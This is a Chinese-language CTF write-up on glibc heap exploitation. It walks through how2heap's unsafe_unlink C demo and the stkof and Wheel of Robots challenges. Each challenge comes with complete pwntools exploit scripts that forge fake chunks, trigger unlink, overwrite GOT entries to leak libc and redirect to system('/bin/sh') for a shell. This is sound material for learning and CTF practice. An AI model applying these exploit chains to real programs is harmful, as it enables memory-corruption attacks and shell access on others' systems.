0%

how2heap - unsafe_unlink&stkof、Wheel of Robots

how2heap - unsafe_unlink&stkof、Wheel of Robots

环境:ubuntu16.04 libc2.23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


uint64_t *chunk0_ptr;

int main()
{
fprintf(stderr, "Welcome to unsafe unlink 2.0!\n");
fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n");
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
fprintf(stderr, "This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
fprintf(stderr, "The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

fprintf(stderr, "The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

fprintf(stderr, "We create a fake chunk inside chunk0.\n");
fprintf(stderr, "We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
fprintf(stderr, "We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
fprintf(stderr, "With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

//fprintf(stderr, "We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (chunk+size)\n");
//fprintf(stderr, "With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False\n");
//fprintf(stderr, "P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
//fprintf(stderr, "If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).\n");
//fprintf(stderr, "We just need to set the *(chunk0_ptr + x) = x, so we can pass the check\n");
//fprintf(stderr, "1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing\n");
//fprintf(stderr, "2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass\n");
//fprintf(stderr, "3.Finally we can also set chunk0_ptr[1] = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20\n");
//chunk0_ptr[1] = sizeof(size_t);
//fprintf(stderr, "In this case we set the 'size' of our fake chunk so that chunk0_ptr + size (%p) == chunk0_ptr->size (%p)\n", ((char *)chunk0_ptr + chunk0_ptr[1]), &chunk0_ptr[1]);
//fprintf(stderr, "You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30\n\n");

fprintf(stderr, "We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
fprintf(stderr, "We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
fprintf(stderr, "It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
fprintf(stderr, "If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
fprintf(stderr, "We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;

fprintf(stderr, "Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
fprintf(stderr, "You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);

fprintf(stderr, "At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

fprintf(stderr, "chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}

这段的原理在前面SleepyHolder其实已经用过了,所以就只简单的debug,帮助自己记忆一下

Debug:

1580548299890

更改 chunk 1 prev_inuse之前所伪造的fake chunk,fake chunk->fd被设置成&chunk0_ptr-0x18,fake chunk->bk被设置成&chunk0_ptr-0x10,然后prev_size设置成chunk 0 size-0x10(减去chunk head大小,就是我们malloc传入参数的大小0x80)

之后修改chunk 1的prev_inuse位为0,free chunk 1&trigger unlink(chunk0),通过unlink的检查、操作之后,所得到的结果是chunk0_ptr=0x602058(fake fd)

1580560743117

此时chunk0_ptr[3]刚好为chunk0_ptr,填入victim_string的地址,然后对其进行修改

具体步骤回顾前一篇写的unlink过程,不再做多解释

stkof

程序分析

程序一共有四个功能供选择,执行成功输出OK,执行失败输出FAIL

1580559836335

new:

1580559935789

malloc一个没有大小检查的chunk,放入s数组记录,并输出对应index,malloc时对应index只增不减

fill_chunk:

1580560078101

输入index后检查index大小、以及对应index是否有记录chunk,然后输入想要fill的大小,这里对大小没有检查,存在overflow

Free:

1580560247354

输入index,检查index大小、以及对应index是否 有记录,然后free 对应的chunk,并清除记录

todo:

1580560405002

似乎没什么用…(但是在后面的利用用到了)

Exploit:

1
2
3
4
5
6
7
new(0x80)#index 1
new(0x80)#index 2
new(0x80)#index 3
new(0x80)#index 4
new(0x80)#index 5 unlink chunk
new(0x80)#index 6 chunk to free
new(0x80)#index 7 Avoid merging

首先new出7个small chunk,此时记录如图所示

1580563261399

利用fill_chunk和chunk 5修改chunk 6 的prev_inuse位,顺带构造一个fake chunk

(这里为什么不从chunk1开始主要是因为在调试时发现chunk 1的前后分别有一个size为1040的chunk,具体原因参考ctf-wiki https://wiki.x10sec.org/pwn/heap/unlink/#2014-hitcon-stkof)

1
2
3
4
5
6
chunk5_address=0x602168
fake_chunk = p64(0)+p64(0x81)#fake chunk head
fake_chunk += p64(chunk5_address-0x18)+p64(chunk5_address-0x10)#fake fd/bk
fake_chunk += '\x00'*(0x80-len(fake_chunk))
fake_chunk += p64(0x80)+'\x90'#fake prev_size,prev_inuse
fill_chunk(5,len(fake_chunk),fake_chunk)

fill之后:

1580563976215

之后free chunk 6,第5个chunk用来unlink,这个操作设置其内容为&chunk2

执行free之后(这个截图是还没执行到s[6]=0处):

1580564233828

接着利用其修改index 2处的记录为&strlen_GOT,然后使用fill_chunk(2)修改strlen_GOT的值为&puts_plt

修改index 2处的记录为&puts_GOT

接着调用todo,输入2即可puts(&strlen_GOT),接着根据strlen在libc的偏移计算出libc base

1
2
3
4
5
6
7
8
strlen_GOT=0x602030
puts_GOT=0x602020
puts_plt=0x400760
fill_chunk(5,8,p64(strlen_GOT)) #index 2->strlen_GOT address
fill_chunk(2,8,p64(puts_plt))#set strlen_GOT -> puts_plt
fill_chunk(5,8,p64(puts_GOT))#index 2->puts_GOT address
todo(2)#puts(&puts_GOT)
libc_base=my_u64(p.recv(6))-0x6f690

同样利用上面的方式,fill chunk 3为/bin/sh,然后将strlen_GOT设置成system的地址,todo(3)即可getshell

1
2
3
4
5
system_offset=0x45390
fill_chunk(5,8,p64(strlen_GOT))#index 2->strlen_GOT address
fill_chunk(2,8,p64(libc_base+system_offset))#set strlen_GOT -> system
fill_chunk(3,len('/bin/sh'),'/bin/sh')
todo(3)

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './stkof' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")

# todo here
def new(size):
sleep(0.1)
p.sendline('1')
p.sendline(str(size))

def fill_chunk(index,size,content):
sleep(0.1)
p.sendline('2')
p.sendline(str(index))
p.sendline(str(size))
p.send(content)

def Free(index):
sleep(0.1)
p.sendline('3')
p.sendline(str(index))

def todo(index):
sleep(0.1)
p.sendline('4')
p.sendline(str(index))

new(0x80)#index 1 can't use
p.recvuntil('OK\n')

new(0x80)#index 2
p.recvuntil('OK\n')
new(0x80)#index 3
p.recvuntil('OK\n')
new(0x80)#index 4
p.recvuntil('OK\n')
new(0x80)#index 5 unlink chunk
p.recvuntil('OK\n')
new(0x80)#index 6 chunk to free
p.recvuntil('OK\n')
new(0x80)#index 7 Avoid merging
p.recvuntil('OK\n')

chunk5_address=0x602168
fake_chunk = p64(0)+p64(0x81)#fake chunk head
fake_chunk += p64(chunk5_address-0x18)+p64(chunk5_address-0x10)#fake fd/bk
fake_chunk += '\x00'*(0x80-len(fake_chunk))
fake_chunk += p64(0x80)+'\x90'#fake prev_size,prev_inuse
fill_chunk(5,len(fake_chunk),fake_chunk)
p.recvuntil('OK\n')

Free(6)
p.recvuntil('OK\n')
strlen_GOT=0x602030
puts_GOT=0x602020
puts_plt=0x400760
fill_chunk(5,8,p64(strlen_GOT))
p.recvuntil('OK\n')
fill_chunk(2,8,p64(puts_plt))
p.recvuntil('OK\n')
fill_chunk(5,8,p64(puts_GOT))
p.recvuntil('OK\n')
gdb.attach(p,'b *0x400C1C')

todo(2)
libc_base=my_u64(p.recv(6))-0x6f690
log.info("\033[1;36m" + 'libc_base:'+hex(libc_base) + "\033[0m")

system_offset=0x45390
fill_chunk(5,8,p64(strlen_GOT))
p.recvuntil('OK\n')
fill_chunk(2,8,p64(libc_base+system_offset))
p.recvuntil('OK\n')
fill_chunk(3,len('/bin/sh'),'/bin/sh')
p.recvuntil('OK\n')
todo(3)

p.interactive()

ps:ctf-wiki上面是直接修改 atoi@got 为 system 函数地址,再次调用时,输入 /bin/sh 地址,这里可以用作以后exploit的参考

Wheel of Robots

程序分析

主菜单一共有四个选择,在进行选择之前用/dev/random读取随机数来当做srand种子

1580573062290

add:

输入选择部分

1580573416563

提供一个机器人选择菜单,然后对全局变量choic输入5B,此处存在一个1 Byte overflow,可以覆盖到Bender

numofrobot不能大于2(初始为0)

Tinny_Tim(对应1):

1580573549034

Tinny Tim是一个0x14大小的fast chunk,用calloc分配。Tinny_Tim记录这个机器人是否存在,Tinny_Tim_ptr记录堆指针,calloc之后将chunk data部分填充为Tinny Tim字符串

Bender(对应2):

1580573753819

Bender是一个大小不固定的fast chunk ,其大小根据用户输入Bender_intelligence决定,最大为0x3c,calloc分配,Bender记录机器人是否存在,Bender_ptr记录堆指针,calloc之后对chunk data部分填充

Devil(对应3):

1580574045235

Devil是一个大小不固定的chunk,大小根据用户输入的Devil_cruelty决定,最大为0x7bc,calloc分配,Devil记录机器人是否存在,Devil_ptr记录堆指针,calloc之后对chunk data填充

Chain_smoker(对应4):

1580574275281

Chain_smoker是一个大小固定的chunk(0xFA0),calloc分配,Chain_smoker记录机器人是否存在,Chain_smoker_ptr记录堆指针,calloc之后对chunk data填充

Billionaire_Bot(对应5):

1580574445414

Billionaire_Bot是一个固定大小的chunk(0x9C40),calloc分配,Billionaire_Bot记录是否存在,Billionaire_Bot_ptr记录堆指针,calloc之后对chunk data填充

Destructor(对应6):

1580574577079

Destructor是一个大小不固定的chunk,大小根据用户输入的Destructor_powerful决定,calloc分配,Destructor记录机器人是否存在,Destructor_ptr记录堆指针,calloc之后对chunk data填充

total:

这里再记一下64位不同chunk的size范围(fast chunk:0x20~0x80,small chunk:<0x400,large chunk >=0x400)

  1. Tinny Tim:大小固定fast chunk 0x14
  2. Bender:大小不固定fast chunk 0x14~0x3c
  3. Robot Devil:大小不固定chunk,可以是fast chunk,small chunk,large chunk,max:0x7bc
  4. Chain Smoker:large chunk 0xFA0
  5. Billionaire Bot:large chunk 0x9C40
  6. Destructor:可以是fast chunk,small chunk,large chunk

delete:

输入部分没有add的 overflow(有了add的分析基础接下来的分析简单一点)

1580575014595

全都是相同的操作,判断各记录,将对应ptr free掉之后把记录清零,然后numofrobot–

change:

change 的输入也是正常的

1580575136615

同样都是一个操作,检查记录,将对应chunk的data段renew,输入大小为申请时的大小

startwheel:

当有2个robot时,产生0~6的随机数,随机选择输出一个chunk的内容

1580639554736

Exploit:

这个方法是我自己写,没有看ctf-wiki的WP时候摸索出来的方法,并没有用到startwheel函数

原ctf-wiki链接:https://wiki.x10sec.org/pwn/heap/unlink/#2017-insomnihack-wheelofrobots

add一个Bender(fast chunk),add一个Robot Devil(small chunk,这个用来Avoid merging&trigger unlink),然后delete掉Bender,接着malloc一个Chain Smoker(large chunk),trigger malloc_consolidate,将fast chunk放入smallbins,然后通过1 Byte overflow更改Bender为1,再次delete,构成double free。(wiki上面是利用fastbin attack修改记录的chunk大小,change时构成overflow)

1
2
3
4
5
6
7
8
#注释末尾的数字表示numofrobot
add(2,intelligence=2)#Add Bender 1
add(3,cruelty=0x20)#Add Robot Devil small chunk 2
delete(2)#Add Bender to fastbins 1
add(4)#Add large chunk(Chain_smoker) trigger malloc_consolidate 2
overflow_Bender_to(1)
delete(2)#Delete Bender again 1
#double free now

double free和malloc_consolidate的联合利用在之前SleepyHolder中已经写过了所以这里写简单一些

再add一个Bender,change时构造一个fake chunk,然后delete Robot Devil,trigger unlink,结束后Bender_ptr会指向&Bender_ptr-0x18处,如图:

1580640134364

1
2
3
4
5
6
7
8
9
10
11
Bender_ptr=0x6030F0
add(2,intelligence=2)#Add Bender 2
fake_chunk = p64(0)+p64(0x21)#fake chunk head
fake_chunk += p64(Bender_ptr-0x18)+p64(Bender_ptr-0x10)#fake fd/bk
fake_chunk += '\x00'*(0x20-len(fake_chunk))
fake_chunk += p64(0x20)#fake prev_size
change(2,fake_chunk)

delete(2)#set Bender to fastbin 1
add(6,powerful=0x20)#Add Destructor small chunk 2
delete(3)#trigger unlink 1

这里再trigger之前为什么要delete Bender还有add Destructor主要是为了后面的利用,这一块是我在写后面利用的时候回来补的(主要是delete3之后再来delete的时候会报错),可以先不用管,这里delete Bender到fastbins里面之后也并没有影响fake_chunk,其prev_size字段本来就是0

因为我们之前add了Chain_smoker,所以可以用这个Chain_smoker_ptr来修改GOT表,具体为先修改Chain_smoker_ptr为&free_GOT,然后change为&puts_plt,再将Chain_smoker_ptr设置成puts_GOT,从而delete Chain_smoker时可以调用puts(&puts_GOT),计算出libc偏移

1
2
3
4
5
6
7
8
9
10
overflow_Bender_to(1)
free_GOT=0x603018
puts_plt=0x400830
puts_GOT=0x603028
change(2,p64(0)+p64(free_GOT))#change Chain_smoker_ptr to &free_GOT by Bender
change(4,p64(puts_plt))#*free_GOT to &puts_plt by Chain_smoker_ptr
change(2,p64(0)+p64(puts_GOT))#change Chain_smoker_ptr to &puts_GOT


delete(4)#puts(&puts_GOT) 0

这个时候我发现,delete Chain_smoker之后,由于Chain_smoker记录会变成0,也就是说通过这个指针来实现Arbitrary write不行了(Bender可以重复利用是因为存在一个溢出),但是这里还有一个Destructor_ptr,所以就有了前面delete Bender然后add Destructor的操作,利用Chain_smoker_ptr实现地址泄露之后,再用Destructor_ptr来实现getshell

1
2
3
4
5
6
7
libc_base=my_u64(p.recv(6))-0x6f690
system_address=libc_base+0x45390

change(2,p64(0)+p64(0)+p64(free_GOT))#change Destructor_ptr to &free_GOT by Bender
change(6,p64(system_address))#*free_GOT to system_address by Destructor_ptr
change(2,'/bin/sh\x00')# *Bender_ptr = '/bin/sh\x00'
delete(2)#system(Bender_ptr)->system("/bin/sh")

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = 'wheelofrobots' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1 , stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")

# todo here
def overflow_Bender_to(num):
p.recvuntil('Your choice : ')
p.send('1')

p.recvuntil('Your choice :')
p.send('9999'+str(num))

def add(choice,intelligence=0,cruelty=0,powerful=0):
p.recvuntil('Your choice : ')
p.send('1')

p.recvuntil('Your choice :')
p.send(str(choice))

if choice == 2:
p.recvuntil('intelligence: ')
p.send(str(intelligence))
elif choice == 3:
p.recvuntil('cruelty: ')
p.send(str(cruelty))
elif choice == 6:
p.recvuntil('powerful: ')
p.send(str(powerful))

def delete(choice):
p.recvuntil('Your choice : ')
p.send('2')

p.recvuntil('Your choice :')
p.send(str(choice))

def change(choice,content):
p.recvuntil('Your choice : ')
p.send('3')

p.recvuntil('Your choice :')
p.send(str(choice))

p.recvuntil("Robot's name: ")
p.send(content)

add(2,intelligence=2)#Add Bender 1
add(3,cruelty=0x20)#Add Robot Devil small chunk 2
delete(2)#Add Bender to fastbins 1
add(4)#Add large chunk(Chain_smoker) trigger malloc_consolidate 2
overflow_Bender_to(1)
delete(2)#Delete Bender again 1

log.info("\033[1;36m" + 'Double freed now' + "\033[0m")

Bender_ptr=0x6030F0
add(2,intelligence=2)#Add Bender 2
fake_chunk = p64(0)+p64(0x21)#fake chunk head
fake_chunk += p64(Bender_ptr-0x18)+p64(Bender_ptr-0x10)#fake fd/bk
fake_chunk += '\x00'*(0x20-len(fake_chunk))
fake_chunk += p64(0x20)#fake prev_size
change(2,fake_chunk)

#gdb.attach(p,'b *0x4012C0')
delete(2)#Delete Bender_ptr 1
add(6,powerful=0x20)#Add Destructor small chunk 2

delete(3)# 1

overflow_Bender_to(1)
free_GOT=0x603018
puts_plt=0x400830
puts_GOT=0x603028
change(2,p64(0)+p64(free_GOT))#change Chain_smoker_ptr to &free_GOT by Bender
change(4,p64(puts_plt))#*free_GOT->puts_plt by Chain_smoker
change(2,p64(0)+p64(puts_GOT))#change Chain_smoker_ptr to &puts_GOT


delete(4)#puts(&puts_GOT) 0

libc_base=my_u64(p.recv(6))-0x6f690

log.info("\033[1;36m" + 'libc_base'+hex(libc_base) + "\033[0m")
system_address=libc_base+0x45390
change(2,p64(0)+p64(0)+p64(free_GOT))#change Destructor_ptr to &free_GOT by Bender
change(6,p64(system_address))#*free_GOT to system_address by Destructor_ptr
change(2,'/bin/sh\x00')# *Bender_ptr = '/bin/sh\x00'
delete(2)#system(Bender_ptr)->system("/bin/sh")

p.interactive()